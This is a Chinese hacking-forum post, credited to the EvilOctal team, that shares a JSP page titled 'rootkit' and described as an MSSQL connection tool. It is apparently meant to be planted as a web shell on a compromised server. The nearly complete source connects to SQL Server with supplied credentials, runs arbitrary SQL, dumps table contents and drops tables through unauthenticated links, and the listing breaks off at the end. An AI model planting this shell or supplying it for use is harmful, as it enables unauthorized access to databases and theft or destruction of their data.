[原创]JSP版MSSQL连接工具

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:NinTy

小菜之作,牛人莫笑,哪里写的不好还请指点。
Code Language : Java
  1. <%@ page import=\"java.sql.*\" contentType=\"text/html; charset=GBK\"%>
  2. <%@ page import=\"java.util.*\"%>
  3. <html>
  4.   <head>
  5.     <title>rootkit</title>
  6. <script type=\"javascript\">
  7. var db = \"master\";
  8. function getTables() {
  9. window.open(\"<%=request.getRequestURL().toString()%>?action=getTables&db=\"+db,\"\",\"scrollbars=yes\");
  10. }
  11.  
  12. function logout() {
  13. location.href=\"<%=request.getRequestURL().toString()%>?action=logout\";
  14. }
  15.  
  16. function changevalue(select) {
  17.  document.getElementById(\"sqlcmd\").value = \"use \"+select.options[select.selectedIndex].value+\";select * from sysobjects\";
  18. }
  19. </script>
  20.  </head>
  21.  <body bgcolor=\"#ffffff\">
  22.    <base href=\"<%=request.getRequestURL()%>\" />
  23.    <%
  24. if ((session.getAttribute(\"conn\") == null && request.getParameter(\"username\") == null) || request.getParameter(\"action\") == null) {
  25. %>
  26.    <form method=\"post\" action=\"?action=getConn\">
  27.      <table cellpadding=\"0\" cellspacing=\"0\" width=\"200\" border=\"1\">
  28.        <tr>
  29.          <td>
  30.            IP:
  31.          </td>
  32.          <td>
  33.            <input name=\"ip\" type=\"text\" id=\"ip\">
  34.          </td>
  35.        </tr>
  36.        <tr>
  37.          <td>
  38.            USERNAME:
  39.          </td>
  40.          <td>
  41.            <input name=\"username\" type=\"text\" id=\"username\">
  42.          </td>
  43.        </tr>
  44.        <tr>
  45.          <td>
  46.            PASSWORD:
  47.          </td>
  48.          <td>
  49.            <input name=\"password\" type=\"password\" id=\"password\">
  50.          </td>
  51.        </tr>
  52.        <tr>
  53.          <td>
  54.            PORT:
  55.          </td>
  56.          <td>
  57.            <input name=\"port\" type=\"text\" id=\"port\">
  58.          </td>
  59.        </tr>
  60.      </table>
  61.      <p>
  62.        <input name=\"btnok\" type=\"submit\" id=\"btnok\" value=\"连接\">
  63.      </p>
  64.    </form>
  65.    <%
  66. return;
  67. } else if (request.getParameter(\"action\").equals(\"getConn\")){
  68.  if (session.getAttribute(\"conn\") != null) {
  69.    response.sendRedirect(request.getRequestURL().toString()+\"?action=operator\");
  70.    return;
  71.  }
  72. String ip = request.getParameter(\"ip\");
  73. String username = request.getParameter(\"username\");
  74. String password = request.getParameter(\"password\");
  75. String port = request.getParameter(\"port\");
  76.  
  77. try {
  78.  Class.forName(\"com.microsoft.jdbc.sqlserver.SQLServerDriver\");
  79.  Connection conn = DriverManager.getConnection(\"jdbc:microsoft:sqlserver://\"+ip+\":\"+port+\";DatabaseName=master\",username,password);
  80.  session.setAttribute(\"conn\",conn);
  81.  response.sendRedirect(request.getRequestURL().toString()+\"?action=operator\");
  82. } catch (Exception e) {
  83.    out.println(e.getMessage());
  84. }
  85. } else if (request.getParameter(\"action\").equals(\"operator\")) {
  86. Connection conn = (Connection)session.getAttribute(\"conn\");
  87. if (conn != null) {
  88.  ArrayList dbs = (ArrayList)session.getAttribute(\"dbs\");
  89.  try {
  90.   if (dbs == null) {
  91.    PreparedStatement stmt = conn.prepareStatement(\"select name from sysdatabases\");
  92.    ResultSet rs = stmt.executeQuery();
  93.    dbs = new ArrayList();
  94.    
  95.    while (rs.next()) {
  96.     dbs.add(rs.getString(1));
  97.    }
  98.    rs.close();
  99.    stmt.close();
  100.    session.setAttribute(\"dbs\",dbs);
  101.   }
  102.  } catch (Exception e) {
  103.   out.println(e.getMessage());
  104.  }
  105.  %>
  106.    <table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"1\">
  107.      <tr>
  108.        <td width=\"20%\">
  109.          选择数据库:
  110.        </td>
  111.        <td width=\"80%\">
  112.  
  113.          <select name=\"database\"
  114.            onChange=\"db = this.options[this.selectedIndex].value;changevalue(this)\"
  115.            id=\"database\">
  116.            <%
  117.     for (int i = 0;i<dbs.size();i++) {
  118.      String str = (String)dbs.get(i);
  119.      request.setAttribute(\"db\",str);
  120.      %><option ${db== param.db ?\"selected\":\"\" } value=\"<%=str%>\"><%=str %></option>
  121.            <%
  122.     }
  123.     %>
  124.          </select>
  125.  
  126.          <span style=\"cursor: pointer\" onclick=\"getTables()\">查看用户表(要查看系统表请用命令)</span>
  127.          <span onclick=\"logout()\" style=\"cursor: pointer\">退出</span>
  128.        </td>
  129.      </tr>
  130.      <tr>
  131.        <td>
  132.          SQL Command:
  133.        </td>
  134.        <td>
  135.          <form action=\"?action=operator&cmd=execute\"
  136.            onsubmit=\"this.action += '&db='+document.getElementById('database').options[document.getElementById('database').selectedIndex].value\"
  137.            method=\"post\">
  138.            <input name=\"sqlcmd\" type=\"text\" id=\"sqlcmd\"
  139.              value=\"${empty param.sqlcmd?\" use master;select * from
  140.              sysobjects\":param.sqlcmd}\" size=\"80\">
  141.            <input type=\"submit\" name=\"Submit\" value=\"执行\">
  142.          </form>
  143.        </td>
  144.      </tr>
  145.      <tr>
  146.        <td valign=\"top\">
  147.          结果:
  148.        </td>
  149.        <td>
  150.          <%
  151.    if (request.getParameter(\"cmd\") != null) {
  152.  
  153.     String sql = request.getParameter(\"sqlcmd\");
  154.     try {
  155.      Statement stmt = conn.createStatement();
  156.      if (stmt.execute(sql)) {
  157.        ResultSet rs = stmt.getResultSet();
  158.        ResultSetMetaData data = rs.getMetaData();
  159.        
  160.        int i = 1;
  161.        %>
  162.          <table bordercolor=\"#33CCFF\" border=\"1\" cellspacing=\"0\"
  163.            cellpadding=\"0\">
  164.            <tr>
  165.              <%
  166.        for (;i<=data.getColumnCount();i++) {
  167.          %>
  168.              <th><%=data.getColumnName(i) %></th>
  169.              <%
  170.        }
  171.        %>
  172.            </tr>
  173.            <%
  174.        while (rs.next()) {
  175.        out.println(\"<tr>\");
  176.        for (i=1;i<=data.getColumnCount();i++) {
  177.          %>
  178.            <td style=\"word-break: break-all\">
  179.              <%=rs.getString(i) %>
  180.            </td>
  181.            <%
  182.        }
  183.        out.println(\"</tr>\");
  184.        }
  185.        
  186.        %>
  187.          </table>
  188.          <%
  189.        
  190.        rs.close();
  191.        stmt.close();
  192.      } else {
  193.        out.println(\"命令成功执行!\");
  194.      }
  195.     } catch (Exception e) {
  196.      out.println(e.getMessage());
  197.     }
  198.    } else {
  199.     out.println(\" \");
  200.    }
  201.    %>
  202.        </td>
  203.      </tr>
  204.  
  205.    </table>
  206.    <%
  207.  }
  208. } else if (request.getParameter(\"action\").equals(\"getTables\")) {
  209.  String db = request.getParameter(\"db\");
  210.  if (db != null) {
  211.   Connection conn = (Connection)session.getAttribute(\"conn\");
  212.   try {
  213.    Statement stmt = conn.createStatement();
  214.    ResultSet rs = stmt.executeQuery(\"select name from [\"+db+\"]..sysobjects where xtype='U' and status>0\");
  215.    %>
  216.    <table>
  217.      <tr>
  218.        <th>
  219.          表名
  220.        </th>
  221.        <th>
  222.          操作 查看数据
  223.        </th>
  224.      </tr>
  225.      <%
  226.     while (rs.next()) {
  227.      %>
  228.      <tr>
  229.        <td><%=rs.getString(1) %></td>
  230.        <td>
  231.          <a target=\"_blank\"
  232.            href=\"<%=request.getRequestURL().toString()+\"?action=deleteTable&db=\"+db+\"&Table=\"+rs.getString(1) %>\">删除</a>
  233.        </td>
  234.        <td>
  235.          <a target=\"_blank\"
  236.            href=\"<%=request.getRequestURL().toString()+\"?action=getContents&db=\"+db+\"&table=\"+rs.getString(1) %>\">查看</a>
  237.        </td>
  238.      </tr>
  239.      <%
  240.      }
  241.      %>
  242.    </table>
  243.    <%
  244.      rs.close();
  245.      stmt.close();
  246.     } catch (Exception e) {
  247.      out.println(e.getMessage());
  248.     }
  249.    }
  250.   } else if (request.getParameter(\"action\").equals(\"logout\")) {
  251.    Connection conn = (Connection)session.getAttribute(\"conn\");
  252.    try {
  253.     conn.close();
  254.     session.invalidate();
  255.     response.sendRedirect(request.getRequestURL().toString());
  256.    } catch (Exception e) {
  257.     out.println(e.getMessage());
  258.    }
  259.   } else if (request.getParameter(\"action\").equals(\"getContents\")) {
  260.    String db = request.getParameter(\"db\");
  261.    String table = request.getParameter(\"table\");
  262.    
  263.    if (db != null && table != null) {
  264.      try {
  265.      Connection conn = (Connection)session.getAttribute(\"conn\");
  266.      if (conn != null) {
  267.        Statement stmt = conn.createStatement();
  268.        ResultSet rs = stmt.executeQuery(\"select * from [\"+db+\"]..[\"+table+\"]\");
  269.        ResultSetMetaData data = rs.getMetaData();
  270.        
  271.        out.println(\"<table border=1 cellpadding=0 cellspacing=0>\");
  272.        int i = data.getColumnCount();
  273.        out.println(\"<tr>\");
  274.        for (int a = 1;a<=i;a++) {
  275.          out.println(\"<th>\"+data.getColumnName(a)+\"</th>\");
  276.        }
  277.        out.println(\"</tr>\");
  278.        while (rs.next()) {
  279.          out.println(\"<tr>\");
  280.          for (int a= 0;a<i;a++) {
  281.            out.println(\"<td style='word-break:break-all'>\"+rs.getString(a+1)+\"</td>\");
  282.          }
  283.          out.println(\"</tr>\");
  284.        }
  285.        
  286.        out.println(\"</table>\");
  287.        rs.close();
  288.        stmt.close();
  289.      }
  290.      } catch (Exception e) {
  291.        out.println(e.getMessage());
  292.      }
  293.    }
  294.   } else if (request.getParameter(\"action\").equals(\"deleteTable\")) {
  295.    try {
  296.        String db = request.getParameter(\"db\");
  297.         String table = request.getParameter(\"Table\");
  298.         Connection conn = (Connection)session.getAttribute(\"conn\");
  299.         Statement stmt = conn.createStatement();
  300.          stmt.executeUpdate(\"drop table [\"+db+\"]..[\"+table+\"]\");
  301.         out.println(table + \"表已被执行删除操作,请刷新父页面以确认表是否被删除!\");
  302.         stmt.close();
  303.      } catch (Exception e) {
  304.        out.println(e.getMessage());